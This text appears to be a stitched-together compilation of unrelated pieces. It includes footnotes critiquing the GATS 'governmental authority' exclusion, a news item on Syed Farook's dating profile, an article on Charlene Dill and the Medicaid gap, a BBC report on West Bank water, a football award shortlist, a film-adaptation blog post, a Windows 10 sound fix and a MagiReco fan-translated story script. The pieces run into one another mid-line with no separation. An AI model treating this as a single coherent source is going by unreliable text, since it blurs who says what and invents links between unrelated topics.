33 Ibid. Other activities listed that were ruled to fall outside the exclusion include:
private security undertakings and private security staff in Spain…
the activities of approved commissioners with insurance undertakings and private provident associations in Belgium…
the provision of business executives by personnel consultants in Germany…
the setting up of private schools in Greece
34 It is understood that the WTO Secretariat is not authorized to provide legal interpretations of the agreement.
35 Hartridge, David, "GATS and Public Services", letter to Mike Waghorne, Public Services International, reference: 65-let 31 May 2000, circulated by e-mail in June 2000. This letter is considered in some detail here as it is one of the few sources of information on what governments and the WTO Secretariat understand to be the meaning of the "governmental authority" exclusion. It was also widely circulated and is the only known document that responds directly to specific questions about the potential impact of the GATS on public service systems.
None of the 39 WTO documents containing reference to "services provided in the exercise of governmental authority" provide substantive discussion of the issue. However, a few do consider particular aspects, the most important of which are considered here.
36 GATS -- Fact and Fiction, World Trade Organization, 2001.
37 Hartridge, op. cit., item 2, paragraph 1.
38 Ibid., item 3, paragraph 1.
39 In a 26 October 2000 article in l'Humanité, the director of the WTO Services Division states the public services are not covered in the existing agreement and are not included in WTO negotiations. "[L]es service publics ne sont pas inclus dans négociations. Ils ne sont même pas couverts par les accords de l'OMC." (Hartridge, David, AGCS: non, il n'y a pas de complot!, l'Humanité, 26 Octobre 2000. The director juxtaposes this statement with a recitation of the text of the exclusion, adding that the exclusion is important to members because they hope to protect their public services. ("Cette exclusion est un principe cher à tous les membres de l'OMC, qui souhaitent tous guarder le droit de maintenir leurs services publics -- des services sans but lucratif et avec obligation de couverture universelle." It should be noted that here the director is not asserting that the existing 'governmental authority' exclusion applies to those services that are "sans but lucrative" and that have universal coverage obligations -- merely that these are the services that members may hope to protect.
40 World Trade Organization, "Services: GATS", Training Package, December 15, 1998, p. 58.
41 As no other similar WTO references appear to exist in the public domain, it seems likely that these examples are drawn from the GATS Annex on Financial Services. However, the definition of the exclusion in this Annex is distinct from that found in Article I and cannot properly be applied to the agreement itself.
Indeed, by contrast with the main text, the Annex defines "services supplied in the exercise of governmental authority" in terms of specific examples. The Annex states:
1. (b) "For the purposes of subparagraph 3(b) of Article I of the Agreement [the governmental authority exclusion], "services supplied in the exercise of governmental authority" means the following: activities conducted by a central bank or monetary authority or by any other public entity in pursuit of monetary or exchange rate policies; activities forming part of a statutory system of social security or public retirement plans; and other activities conducted by a public entity for the account or with the guarantee or using the financial resources of the Government." (emphasis added)
Even in the annex, however, additional conditions may apply. "[A]ctivities forming part of a statutory system of social security or public retirement plans; and activities conducted by a public entity for the account[,] or with the guarantee[,] or using the financial resources[,] of the Government" (Annex Article 1(b)(ii) and (iii)) are excluded only to the extent that they are not supplied in competition with other service providers. Annex Article I(c) indicates "if a Member allows any of [these] activities … to be conducted by its financial service suppliers in competition with a public entity or a financial service supplier" they fall outside the "governmental authority" exclusion for the purposes of the annex.
More fundamentally, the specified examples apply only to the definition contained in the financial services annex. As a result, they do not appear to be of direct relevance to the scope of the exclusion in GATS Article I and cannot appropriately be considered illustrative examples of services that are excluded from the main agreement. Indeed, the examples specified in the annex would be excluded from the main agreement only if those services meet the conditions set out in Article I:3(c) -- namely that the services are "supplied neither on a commercial basis, nor in competition with one or more service suppliers."
The contrast between the GATS and the financial services annex in the governmental authority exclusion go farther. As previously indicated, the GATS Article I exclusion contains a two-prong test -- excluded services must not be supplied (a) "on a commercial basis" and they must not be supplied (b) "in competition with one or more service suppliers". The 'commercial basis' test does not apply to any of the activities specified in the annex; neither test applies to the activities of "a central bank or monetary authority" or to activities "by any other public entity in pursuit of monetary or exchange rate policies"; and only the 'competition' test is applied to the other specified activities (c.f. Annex Articles 1(c) and (d).
For ease of reference, Article 1 of the Annex of Financial Services is reproduced here:
"1. Scope and Definition This Annex applies to measures affecting the supply of financial services. Reference to the supply of a financial service in this Annex shall mean the supply of a service as defined in paragraph 2 of Article I of the Agreement. For the purposes of subparagraph 3(b) of Article I of the Agreement, "services supplied in the exercise of governmental authority" means the following: activities conducted by a central bank or monetary authority or by any other public entity in pursuit of monetary or exchange rate policies; activities forming part of a statutory system of social security or public retirement plans; and other activities conducted by a public entity for the account or with the guarantee or using the financial resources of the Government. for the purposes of subparagraph 3(b) of Article I of the Agreement, if a Member allows any of the activities referred to in subparagraphs (b)(ii) or (b)(iii) of this paragraph to be conducted by its financial service suppliers in competition with a public entity or a financial service supplier, "services" shall include such activities. Subparagraph 3(c) of Article I of the Agreement shall not apply to services covered by this Annex."
42 It is not clear how each of these examples falls completely and unequivocally within the ordinary meaning of the text of the "governmental authority" exclusion contained in Article I of the main GATS text (see preceding footnote).
43 Some WTO statements may give the impression that the governmental authority exclusion is broad. For example, the WTO pamphlet "GATS -- Fact and Fiction", published in March, 2001, states that:
"Many public services are not provided on a commercial or competitive basis and are not subject to the GATS." (emphasis added, p. 8).
Similarly, the same pamphlet states that
"Whatever disciplines [on subsidies] are developed will not apply to governmental services, because these are simply outside the scope of the GATS" (p. 7).
Such statements, which could be interpreted as suggesting a broad exclusion, are rare and appear to conflict with the predominant WTO view that the governmental authority exclusion is narrow.
44 "Liberalisation? Don't reject it just yet", Mike Moore, Guardian, 26 February 2001.
45 Working Party on GATS Rules, Report of the Meeting of 6 October 1998, Note by the Secretariat, S/WPGR/M/18, 13 November 1998, p. 4.
46 Working Party on GATS Rules, Report of the Meeting of 19 February 1999, Note by the Secretariat, S/WPGR/M/20, 17 March 1999, p. 7.
47 Environmental Services, Background Note by the Secretariat, Council for Trade in Services, 6 July 1998, S/C/S/46, p. 14.
48 The WTO Services Division Director reinforced this point in a recent address to the European Services Forum, stating: "we in the Secretariat often have to explain the exclusion of governmental services and we have come up against the difficulty that these terms are not further defined. We need to be clear on what is meant by 'not on a commercial basis' (Hartridge, David, Conference on GATS 2000 Negotiations, European Services Forum, Brussels, 27 November 2000)."
49 Environmental Services, Background Note by the Secretariat, op. cit., p. 15
50 Ibid.
51 Ibid., p. 16.
52 Ibid., p. 14-15.
53 Council for Trade in Services, Report of the Meeting Held on 14 October 1998, Note by the Secretariat, S/C/M/30, 12 November 1998, p. 4.
54 Hartridge, op. cit., item 1, paragraph 3.
55 Health and Social Services, Background Note by the Secretariat, Council for Trade in Services, 18 September 1998, S/C.W/50, pp. 10-11.
56 Ibid., p. 18.
57 Ibid., p. 11.
58 Education Services, Background Note by the Secretariat, Council for Trade in Services, 29 September 1998, S/C/W/49, p. 4.
59 Health and Social Services, Background Note by the Secretariat, op. cit., p. 11.
60 Hartridge, op. cit., item 3, paragraph 1.
61 Ibid., item 1, paragraph 2. Mr. Hartridge was responding to the question "What GATS protection is there for a government which wishes to declare the whole of one service a public service and/or a public monopoly?"
62 Note that GATS constraints also apply to monopolies that operate in competition with other service suppliers -- whether or not they are "commercial". The second of the two conditions necessary for exclusion under Article I (namely, to be excluded, a service must not be supplied "in competition with one or more service suppliers") also apply to monopolies. There are few 'pure' monopolies in public service systems and it is difficult to conceive of many monopolies that a dispute settlement panel would rule not to be competing with other service suppliers. And, where competition was deemed to occur, the activities of these monopolies would not be excluded from the GATS under Article I:3.
63 GATS -- Fact and Fiction, World Trade Organization, op. cit., p. 8.
64 The WTO's Trade in Services Division has acknowledged, for example, that "trade in medical and social services is strongly influenced by measures not normally considered to be 'trade measures'. These may include (i) licensing and qualification requirements designed to ascertain the quality of the services provided and the integrity of professionals; (ii) restrictions on the range of goods and services professionals and hospitals are allowed to provide; (iii) controls or incentives intended to ensure the adequate provision of services in all regions and for all population groups; and (iv) the direct provision, on social policy grounds, of minimum services to economically disadvantaged groups." (WTO Council for Trade in Services, Health and Social Services, Background Note by the Secretariat, S/C/W/50, 18 September 1998, paragraph 61.)In an online dating profile on the website “Arab Lounge,” San Bernardino terrorist Syed Farook described himself as “somewhat humble,” “very analytical,” and his politics as “very liberal.” Many in the media originally speculated the shooter was a “right-winger” while the killers were at large.
In addition to a look into his politics, Farook’s profile, which had been “recently active,” according to the page, says the “most important thing in a relationship” for him was it be “(g)uided by and as written in Islam.”
Farook described himself as “somewhat cautious” in his adventurousness, “somewhat reserved” when it comes to affection, and of “average” sociability, mood and tolerance.
Farook listed himself as a non-smoker who “never” drinks and his turn-off is lying. His favorite athlete was Michael Jordan. Farook also wrote, “OH yes I love to work on Cars.”
His introductory paragraph reads:
I am born and raised here, I try to live as a good Muslim, looking for a girl who has the same outlook, wear hijab, but live the life to the fullest, be my partner for snow boarding, to go out and eat with friends, go camping, working on cars with me. Also be calm cool thought full, love to spend time with friends and family.
(h/t The Blaze)On Wednesday, the Orlando Weekly published the explosive and infuriating story of Charlene Dill, a struggling, 32-year-old mother of three who collapsed and died on a stranger's floor late last month. According to Weekly reporter Billy Manes, Dill suffered from a treatable heart condition. She also fell into what policy experts call the Medicaid coverage gap—a hole the Supreme Court punctured in the health safety net when seven of its justices rendered the Affordable Care Act's Medicaid expansion entirely voluntary.
Over 20 Republican state governments have ripped that hole wide open by refusing billions of federal dollars, offered on the sole condition that they be used to insure residents who earn less than 138 percent of the federal poverty level. In their states, residents who weren't previously eligible for Medicaid, but currently earn too little to qualify for subsidies to purchase private insurance, are out of luck. Experts estimate that five million people nationwide have fallen into the gap. Nearly a million of those people reside in Florida alone—collateral damage in the GOP's war against Obamacare. Dill was one of those people. She was selling a vacuum cleaner to earn the money she needed to buy her heart medication when she collapsed.
The Weekly article trafficked fairly well, and Dill's actual story went incredibly viral, thanks to the liberal website Think Progress, whose post about the Weekly piece—"This 32-Year-Old Florida Woman Is Dead Because Her State Refused To Expand Medicaid"—has been shared over 62,000 times on Facebook.
Five days later, it has practically vanished from the national Obamacare debate. Hundreds of thousands of people now know Dill's story, but the liberal media isn't really making an issue of it, Democrats outside of Florida have been unusually reticent about it, too, and the Florida legislature remains unwilling to expand its Medicaid program, despite the brief surge of bad publicity.Sunna Abbas says the doctor blames the water for Mohammad's illness
By Katya Adler
BBC News, Jerusalem
Mohammed Abbas is sick, with chronic diarrhoea. Not for the first time. He and his family live in a Palestinian village with no running water, no sewage system, and no prospect of getting either any time soon. Watching her son, eyes closed, clutching his stomach on a mattress on the floor, his mother, Sunna, told me she is desperate. Faqua residents complain they have to spend a lot of money buying water "I'm angry that my son is sick. The doctor says it's because of the water. We buy it from outside. I don't know where it comes from. I give it to my children even though I know it's contaminated. What else can I do?" Sunna's story is becoming increasingly common in the West Bank. The name of her village, Faqua, means spring water bubbles in Arabic, but access to water here disappeared long ago. The village council says most of the underground springs were appropriated by Israel in 1948 when the state was founded. An Israeli-Palestinian Water Committee was set up in the mid-1990s as part of the Oslo peace accords. But Palestinians say Israel makes it virtually impossible for them to dig new wells or to join Israel's water grid. Leftovers The West Bank is home to an important regional water source. According to a World Bank report published this year, Israel keeps 80% of water it drills from the mountain aquifer for Israeli citizens.
Palestinian water crisis deepens Palestinians get the leftovers. It is not enough. While driving around Faqua village we came across a private water tanker, its hose rolled through the street into the Sallah family's backyard. Murky-looking water gushed into an underground tank there. The World Bank warns the water quality is deteriorating. So Palestinians pay dearly. Unclean water makes people sick. Lack of water means prices are high. Munir Sallah says it makes a difficult life even tougher. "We need a lot of money to cover this expense. We could use the money for other things like food for example. "Every bit of money we have we use to pay for water. You're not going to eat well. You're not going to use much electricity. You need to save this money for water. "In Faqua money is in short supply. The village fields lie barren, dry and dusty. Traditionally, Palestinian villages depend on farming. For that you need water." Trading blame But Israel says it is not to blame here - Palestinian planning is. Israel claims Faqua village never applied to join the water grid - although the local mayor disputes this. Israel says the Palestinian Water Authority should be more effective across the West Bank. Human Rights groups tell a different story. Sarit Michaeli works for B'tselem: "Israel provides water on demand to any Israeli, including settlers in the West Bank. "Palestinians are entitled to water. It's their basic right under international law, but very often they are discriminated against in the allocation of this resource. "Water is scarce throughout the entire region but the little water we have has to be equally shared out between Israelis and Palestinians." Ahmad Abu Salamah can see green Israeli fields from his own parched land
Up in the brown hills of Faqua, a frustrated Palestinian farmer shows us the lush fields of an Israeli Kibbutz next door. Faqua village is just on the boundary line between the West Bank and Israel. An Israeli army jeeps keeps a close eye on us from the other side of the metal fence - part of the separation barrier Israel is building in an around the West Bank. Ahmad Abu Salamah says Israel has given the kiss of death to agriculture here. "We in Faqua village live in Area C - the part of the West Bank under total Israeli control. Israel should give us water. If it did, our land would be as green as theirs. But they use all the water for their land "Water along with land and religion lies at the heart of the conflict here. Fair distribution will have to be part of any solution."
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StumbleUpon What are these? E-mail this to a friend Printable versionAlan Judge, Andre Gray, Ross McCormack on shortlist for Championship Player of the Year
Brentford's Alan Judge is on the shortlist for Championship Player of the Year
Brentford's Alan Judge, Burnley's Andre Gray and Fulham's Ross McCormack make up the three-man shortlist for 2015-16 Championship Player of the Year.
Midfielder Judge - who suffered a double leg-break against Ipswich last Saturday and is out for the rest of the season - has been in superb form for the Bees, scoring 14 league goals on the way to winning his first cap for Republic of Ireland.
Striker Gray, since signing for Burnley from Brentford last summer, is the Championship's top-scorer with 23 goals, helping keep the Clarets on course for automatic promotion straight back to the Premier League.
Andre Gray (right) is the Championship's current leading scorer with 23
Scotland international forward McCormack, meanwhile, has scored 21 Championship goals despite the Whites' struggles against relegation this season.
The winner will be announced at the Football League awards in Manchester on Sunday April 17.
The award is voted for by the manager of each of 24 Championship clubs. They are asked to list their top-five players from this season in order, with the votes added up to find the most frequently named three players.
Ross McCormack has scored 21 goals despite Fulham battling against relegation
Chelsea's Patrick Bamford won the award last season for his superb form on loan at Middlesbrough, while Danny Ings - then with Burnley, now with Liverpool - won the award in 2014.
Other previous winners include Matej Vydra (Watford - 2013), Rickie Lambert (Southampton - 2012), Adel Taarabt (Q |
only fans care about, like the hair colour of Annabeth - and I’d be willing to bet that was because of the reaction of fans. (I’ve not looked that up or anything, of course, so if I’m wrong, do correct me.)
I wonder, actually, to what extent that’s a good idea. There’s differences between books and films as a medium, obviously, because they’re pretty different things. There’s stuff you can get away with in a book that you can’t in a movie, and vice versa; ways for things to be presented, or information conveyed, emotions shown, plot developments to occur, that sort of idea. What makes a good book won’t always make a good movie.
So, practically, I’m a little bit dubious. And yet, equally, I really did love Mockingjay, and the way it adhered to the book quite so strongly. My favourite books ever, the Skulduggery Pleasant series, would probably be highly impractical to adapt straight, given the length of them - 9 books, quite a few all over 500 pages? That’s going to work out at something like 14 films, given the length of them, and there’s no way at all that’s viable, or a good idea. But… as much as my practical mind says no, I’d love a series of movies that are faithful to the letter.
And movie studios seem to recognise that. Before Mockingjay came out, if you’d asked me, I would never have expected the pearl to be in the film, nor for the cat and torch sequence. Because they don’t seem like the sort of moments which would get priority, if you’re trying to tell the story like it’s new.
But if you’re trying to retell a story to a group of people who already know what to expect, and know exactly what they want to see… then yes, that’s the sort of moment you include.
And I find that absolutely fascinating. Where will this go? I mean, with Mockingjay, it worked. It absolutely and unreservedly worked. The longer run time supported this sort of thing, the inclusion of little moments. The actors could all support that sort of thing, and imply a lot of the emotions that had to be left unspoken, because of the nature of what was being adapted.
But it can’t always work, surely. There won’t always be books that can rely on the audience knowing the source material by heart, and there won’t always be times where a direct adaptation is possible.
So I wonder how these things will change next. And I really hope that, when they change next, the films will still be as good as Mockingjay.Microsoft's Windows 10 has arrived with its share of bugs, installation problems and post-update issues including the annoying "No sound on Windows 10" issue.
The flaw is attributed to the Windows 10 sound settings and the lack of sound has been found to persist even after installing the correct audio drivers from the OEM or sound card manufacturer. However there is a simple fix from Bidness ETC that should solve it in just a few clicks.
How to fix No Sound on Windows 10 issue
Step 1: Right-click the sound icon in the taskbar located at the bottom right of the screen and select Playback Devices from the pop-up menu.
Step 2: Select the current playback device in use — by default it should be the speakers. Double-click on it to open its properties window.
Step 3: Go to Advanced section and change the bit rate to either of the following: 24bit/44100 Hz or 24bit/192000Hz depending on the speaker configuration.
If the issue is still unresolved, you can try another method for restoring sound:
Step 1: Launch Start Menu, search for Device Manager and then launch it.
Step 2: Expand Sound and audio devices.
Step 3: Right-click on the current sound driver and choose uninstall.
Step 4: Finally, click on Scan for hardware changes and the updated driver will be automatically installed.
That's it. Your computer speakers should now be able to play sound normally. If the sound is still not working, then try downloading and installing the latest sound card drivers for Windows 10 from the manufacturer's website.MagiReco - Character Side Story - Minagi Sasara Coldblade Dec 30th, 2017 ( edited ) 233 Never 233Never
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rawdownloadcloneembedreportprint text 19.32 KB MagiReco - Character Side Story - Minagi Sasara ----------------------------------------------------- Part 1: So I became a Knight ----------------------------------------------------- Sasara's Father: I'm sorry, Sasara... It'll be alright! Really! Sasara's Father:...This is your father's job. Sasara's Father: If no one does what I do, many people would be sad... Sasara's Father: And it's not nice to see people crying, right? Sasara's Father: That's why... Minagi Sasara: I'll do it! *noises* Kyubey: Sasara! The kidnapped girl is in the back of this place! Minagi Sasara: Understood! Minagi Sasara:...Are these things the so-called witches? Kyubey: No. They're the familiars of a witch. Kyubey: They lurk around performing the duties of their witch. Minagi Sasara: So these things... Minagi Sasara: are trying to prevent me from saving a life! Out of my way~! *noises* Minagi Sasara: Let's go! Minagi Sasara: Over there! I see someone! Girl:... Minagi Sasara: Are you okay?! Please be okay! Girl:... Minagi Sasara: Um! I'm here to help you! Kyubey:...She's been enthralled by a "witch's kiss". Minagi Sasara: Eh? A kiss?...What do you mean? Kyubey: To put it simply, she's being manipulated by a witch. Minagi Sasara: S-So how do I save her? Kyubey: The only way to do that is by defeating the witch. Kyubey:...It seems more of her minions have arrived. *noises* Minagi Sasara: Jeez! There's a whole bunch of them! Minagi Sasara:...This time, I'm taking you all down! --------------------- Minagi Sasara:...Haa~. Did I get them all? Kyubey: So it would seem. Minagi Sasara: Alright! Now, let's go defeat the witch! Kyubey: Witches are very strong, you know. Are you sure you're ready? Minagi Sasara: Of course! I will definitely defeat it! Minagi Sasara:...Ah, but first I need to take this girl to a safe place! Minagi Sasara: You'll be alright! Let's get you somewhere safe! About a week ago, I met this funny little creature called Kyubey... Kyubey: I will grant you whatever wish you desire. I couldn't believe what it was saying. I was actually kind of scared. First of all, why can this animal speak our language? But eventually, I stopped caring about those things. I started conversing with it like it was normal... And it told me... about the existence of witches. Kyubey: Witches exist to bring despair to everyone. Kyubey: They make a countless amount of people fall into despair. Kyubey: You can save them all if you become a magical girl. "Save"... I couldn't avoid reacting to that word... Minagi Sasara: I can... save people... like my father does...? My father is part of an emergency service team... He's a member of what they call a "Rescue Squad". He risks his life to save others. That's so coool! I have a lot of respect for what he does. He also gave me my favourite picture book! It's a story about a Knight in shining armour who defeats a dragon that was terrorizing a village! I love reading that story... I still carry the book around everywhere. Because that book is the reason why I feel the way I do. Minagi Sasara: It's like what my father does... It's like what the Knight does in the picture book... Minagi Sasara: I want to be able to protect and save people, too!...However... Something happened that tainted those feelings... --------------------- Two days ago, there was an incident in a convenience store located in the Central Ward. I was right there when it happened. A criminal came at me with a knife and took me hostage. Minagi Sasara:...Haa... haa... haa......It was so scary that I felt my heart was going to explode. I used to say that I wanted to "become a Knight"... But when the time came, I couldn't do anything. I just stood there shaking like a leaf... Minagi Sasara: What do I do...?! I... What can I do.... All I could do was ask myself that question... I was ashamed of myself, I hated myself... The police arrived and arrested the criminal. I was safe and sound. But I felt horrible. So I took a risk... Minagi Sasara:...I believe you're saying the truth. Kyubey: Then, do you want to make a contract with me? Minagi Sasara: Yes... I do. Kyubey: What do you wish for? Minagi Sasara:...I want to become a Knight. Kyubey: A Knight? Minagi Sasara: I want to be able to protect and save people... Minagi Sasara: I want a stronger heart... stronger convictions! Minagi Sasara: I want to be someone who's capable of doing such things! Minagi Sasara:...Magical girls save people from the witches, do they not? Minagi Sasara: Wasn't that what you said, Kyubey? Kyubey: Yes, that's right. Kyubey: Magical girls do protect people from the witches... Just like a Knight would. Minagi Sasara:...Then grant me the strength to become a Knight...! Kyubey: Your wish has now been granted... That's how I became a magical girl... No, that's how I became a Knight! Kyubey:...A witch will be arriving very soon... Minagi Sasara: I... I understand... Leave it to me, I'll definitely take it down! Minagi Sasara: When the time comes, the witch will have nowhere to hide! --------------------- Minagi Sasara: I-I did it! I defeated a witch! Kyubey: That was a wonderful battle, Sasara. Kyubey: I'm surprised you managed to defeat one so soon. Minagi Sasara: Ah, really?...Yay! I finally did it... Finally! What I always used to fantasize about! Since that day, I've been fervently looking for witches. I rescue those afflicted by the kiss, and I hunt the witches down. Minagi Sasara: It's alright! No need to worry! Minagi Sasara: Because I'm here to rescue you! There's been many incidents in Kamihama city lately. I sense the presence of witches in every shadow. Kyubey told me the problem is more widespread than I thought... Even so, I keep fighting with intense passion. Kyubey: Sasara! Fighting this many on your own is dangerous! Minagi Sasara: It's fine! Because... Minagi Sasara: Because who will fight them if I don't do it? Minagi Sasara: Because... I'm the Knight that protects the people of Kamihama city! I fight so many, I defeat so many... But the witches keep coming. So I keep fighting... But the word "Knight" keeps poisoning me. At some point, my feelings became tainted... Was it because I'm tired of fighting every day... No, I'm not tired... After all, I became "me"... Minagi Sasara: I became the me that I always wanted to be! But... why do I feel so empty? ----------------------------------------------------- Part 2: Who am I protecting? What am I fighting for? ----------------------------------------------------- Those cursed with a witch's kiss become unconscious. They don't usually remember what happened to them after the curse is lifted. So it's not easy for magical girls to reveal their identities. Which means no one will ever know I'm helping people. Minagi Sasara: It's alright! No need to worry! Minagi Sasara: Because I'm here to defeat the witch! Man:... Minagi Sasara:...Just wait here! I've saved countless people, but no one ever responds to me. Minagi Sasara: I will free you! Kid:......What was I expecting? Minagi Sasara: Because I'm here to help you! Man:... What do I want them to say? Minagi Sasara: You're going to be okay! Girl:... Do I want them to say "thank you"? Minagi Sasara: Hey! Boy:... Do I want them to say "you've saved me"? Minagi Sasara: Hey! Woman:... I just want someone to appreciate me... Minagi Sasara: Hey! Man:... Did I really want to become a Knight? Minagi Sasara: N-No! Minagi Sasara: Ahhhhh!! Minagi Sasara:...I was... sleeping? Kyubey: What's wrong? It seems you were taking a nap. Kyubey: Are you perhaps tired of fighting? Minagi Sasara:... Minagi Sasara:...I'm fine... I am losing my way again... --------------------- Minagi Sasara:...So many, they are formidable... *noises* I have to keep fighting. If I don't, then why did I make a contract...? Minagi Sasara:...Are you okay...? Woman:... Minagi Sasara:... Kyubey:...What's wrong, Sasara? Minagi Sasara:...My father. Kyubey:? Minagi Sasara: My father's job has to be different than this... Kyubey: Your father? Minagi Sasara:...Maybe I just wanted to be appreciated... Minagi Sasara: Maybe I just wanted people to praise me and approve of me... Kyubey:...What are you talking about? Minagi Sasara: That Knight of the picture book was thanked by the villagers... Minagi Sasara: But no matter how many people I help, no one ever says anything... Minagi Sasara: I thought I could get over it. Minagi Sasara: But I keep hoping they would talk to me... Minagi Sasara:...Because it's like I don't even exist... Kyubey:...You may be a strong fighter, but it seems you're lost on the inside. Minagi Sasara:...Are people supposed to feel good when helping others? Kyubey: That's right... The strong are made to help the weak... Kyubey: It's humankind's instinct for the collective survival of the species. Minagi Sasara:...I was born with that instinct...? Kyubey: That's what I suppose. I can never understand human emotions. Minagi Sasara:...If we're born like this, why do I want to be recognized? Kyubey: Sasara... Minagi Sasara: Maybe I'm just a defective human being... Minagi Sasara:...Why am I thinking that! Minagi Sasara: Why... why do I... hate this so much... Kyubey:... Kyubey:! Sasara! Above you! Minagi Sasara:...Eh? *noises* Minagi Sasara: Damn...! They're attacking her...!! Woman:... *noises* Minagi Sasara: Take this...! ---------------------...It's my fault....I lost my way...Because my heart is weak. That's why... I got hurt......At least... let me save this woman... *noises* Minagi Sasara:!???: Phew~... Made it just in time! Minagi Sasara:...Someone saved me????: Now... You're next! *noises*???: Are you injured? Minagi Sasara:...Who... are you? Kyubey: Asuka!???: Kyubey! Hello there! Minagi Sasara: You know him... Then... Kyubey: Yes, this girl is Tatsuki Asuka. Kyubey: She's a magical girl who made a contract with me. Tatsuki Asuka: Looks like you're a magical girl as well. Minagi Sasara: Ah, I'm... Minagi Sasara... Minagi Sasara: So... just now you... Tatsuki Asuka: You don't have to thank me. Minagi Sasara: Eh? Tatsuki Asuka: I was hunting down a witch and saw you by coincidence. Tatsuki Asuka: If you'll excuse me. Minagi Sasara: Ah! Um! Minagi Sasara:...She left. Kyubey: As always, she's completely focused on her goal. Minagi Sasara:... The victim's curse was lifted when I got her out of the labyrinth. Kyubey: It looks like Asuka has defeated the witch. Kyubey told me stuff about this girl....It was a ridiculous story. Tatsuki Asuka: You don't have to thank me. What she said had shocked me. And she was the first magical girl I ever met. I want to speak with her...! I want to know her story...! The opportunity soon presented itself. --------------------- Tatsuki Asuka:...Hm? And you are... Minagi Sasara: From back then! We met again in the labyrinth of another witch. Minagi Sasara: I wanted to thank you for what you did back then... Tatsuki Asuka: I told you before! You don't have to thank me! Minagi Sasara: But I wanted to do it! I mean, you... Tatsuki Asuka:...You are welcome. Minagi Sasara:...Ah. Y-Yeah...! That day, we decided to hunt the witch together. But the plan changed along the way. Woman:... Minagi Sasara: All these people... They have the witch's kiss... Tatsuki Asuka: I heard this is how they become food for a witch... Tatsuki Asuka: Okay... Tatsuki Asuka: Let's find this witch. Minagi Sasara: Eh? Are we abandoning them? Tatsuki Asuka:...No, we can save them if we defeat the witch! Minagi Sasara: But if anything happens to them... Tatsuki Asuka: If anything happens, we'll come back, but the witch is our priority! Minagi Sasara: By then it'll be too late to help them! Tatsuki Asuka: The witch is our priority! Minagi Sasara: These people are more important! Kyubey: You know what? Asuka is right. Minagi Sasara: Kyubey! Tatsuki Asuka: If you don't agree, then stay here until I deal with it... Tatsuki Asuka: Hey, how far is the deepest part of the labyrinth? Kyubey: It's not far from here. Tatsuki Asuka: Is that so... Very well, I'm going. Minagi Sasara:...I have to help these people... Tatsuki Asuka:...Is that so. Fine. Kyubey:...Asuka, the witch is in the other direction. Tatsuki Asuka:! Tatsuki Asuka:...I knew that! If you'll excuse me! Kyubey: She's always been awkward like that. Minagi Sasara:... I know that everything is solved if you defeat the witch. Minagi Sasara: But I can't leave them like that. Minagi Sasara:...Why am I so fixated with that thought? Minagi Sasara: It's because I'm a Knight... It's because I want to save people... Minagi Sasara:...It's because I want someone to thank me... Minagi Sasara: Am I... Minagi Sasara: Am I doing this to feel appreciated...? Is that the reason?...Please, I need to know, I... ----------------------------------------------------- Part 3: The things I must do ----------------------------------------------------- I met Asuka once again on a different day. Minagi Sasara: I think it's better if we protect the people here! Tatsuki Asuka: I think it's better if we defeat the witch! It's just like the other day... But not quite. Tatsuki Asuka:...Grrr! Minagi Sasara: More familiars...! Tatsuki Asuka: There's quite a few of them... But there's no problem! Tatsuki Asuka: I'll take point! Minagi Sasara: Wait! What about all these people with the kiss! Tatsuki Asuka: Eh? Eh? Ahhhh! Right! Minagi Sasara: We must fight and protect these people at the same time! Minagi Sasara:...That's what I live for. Tatsuki Asuka: Ah, of course! It's what we have to do! Tatsuki Asuka:...Hm? Has there been a misunderstanding? I'm not heartless, you know! Minagi Sasara:...Heheh. Just like I thought. Tatsuki Asuka: Hm?...Well, whatever... Tatsuki Asuka: But I can't fight very well if I'm defending someone... Kyubey: Doing both things at the same time is not very safe. Minagi Sasara: Ah! It's true! Tatsuki Asuka: Yes, that's what I mean! Tatsuki Asuka:...Wait a second... Both things... Tatsuki Asuka: Ahhh! I know! The answer is so simple! Minagi Sasara:...Eh? Tatsuki Asuka: Sasara-san, please focus on protecting these people. Tatsuki Asuka: I'll take on the familiars. Minagi Sasara:...Protect?...That's... Tatsuki Asuka: We'll divide our roles! Minagi Sasara:...U-Understood! Tatsuki Asuka: Okay!...So many familiars... Get ready! --------------------- We divided our roles and it was a success. I saw for the first time just how strong Asuka really was. She's a natural in combat. As for me... Minagi Sasara: Hey!...I will not let you come any closer! *noises* I could focus solely on protecting these people. And those tainted feelings that pained my heart were gone... Tatsuki Asuka: Take this! *noises* Minagi Sasara:...It's over. Tatsuki Asuka: Heheheh... We won! Kyubey: You two make a pretty good team. Minagi Sasara: Eh?...Hm... Well... Tatsuki Asuka:...Hrm... The way I moved was different than before. "Protect". "Help". That was the only thing in my mind. It allowed me to move without hesitation... We managed to defeat the witch by dividing our roles. And then... Tatsuki Asuka: Sasara-san! Minagi Sasara:! W-What...? Tatsuki Asuka: You know... Tatsuki Asuka: You made it look easy. Minagi Sasara: Eh?...No, that was all you, Asuka. Tatsuki Asuka: Heheheh... That's not true... Tatsuki Asuka: So listen! I came up with a great idea. Minagi Sasara: A great idea? Tatsuki Asuka: Yup, it's a very good plan. Minagi Sasara:...W-What's the plan? Tatsuki Asuka: Sasara-san, you... Minagi Sasara:...What? "You won't be a magical girl anymore." --------------------- Minagi Sasara: I... won't be... a magical girl anymore? Kyubey: How can she stop being a magical girl, Asuka? Tatsuki Asuka: Hm...? Tatsuki Asuka: Ahhhhhhh! I didn't say it right! My bad! Let me rephrase! Kyubey:...And it was such an interesting notion. Minagi Sasara: More like a shocking one... Tatsuki Asuka: What I meant was that you'll stop doing what magical girls "usually" do! Tatsuki Asuka: You know! Minagi Sasara: What we usually do...? W-What do you mean? Tatsuki Asuka: You're gonna be a rescue and defence expert instead. Tatsuki Asuka:...You'll come with me, and we'll fight together! Minagi Sasara:...Whaaat?! Tatsuki Asuka: Even though I came up with the role division thing, I was a bit worried. Tatsuki Asuka: But! It turned out to be a successful strategy! Tatsuki Asuka: I saw what you can really do. Minagi Sasara:...How did you see that... Tatsuki Asuka: I'm in training to become the master of the Ryuushinbyu Naginata technique! Tatsuki Asuka: And I'm great at finding hidden talents! Heheheh... Minagi Sasara:...Is that so? Kyubey: She's also great at being clumsy. Tatsuki Asuka: Y-You shut up! Like I was saying! Tatsuki Asuka: Ummm, well... I know when I can trust someone to watch my back... Tatsuki Asuka: I know when someone will be there when I need them... Tatsuki Asuka:...So, we'll be a rescue squad! A magical girl rescue squad! Minagi Sasara: Eh?! Minagi Sasara:...Ahaha. Ahahahahah! Tatsuki Asuka:...D-Did I say something weird? What did I say... Minagi Sasara: Haha! You know, that's so funny! Minagi Sasara:...Heheh. But it is a great idea... Tatsuki Asuka: A great idea? You think so? Minagi Sasara:...Yep. Minagi Sasara:...Let's do it. 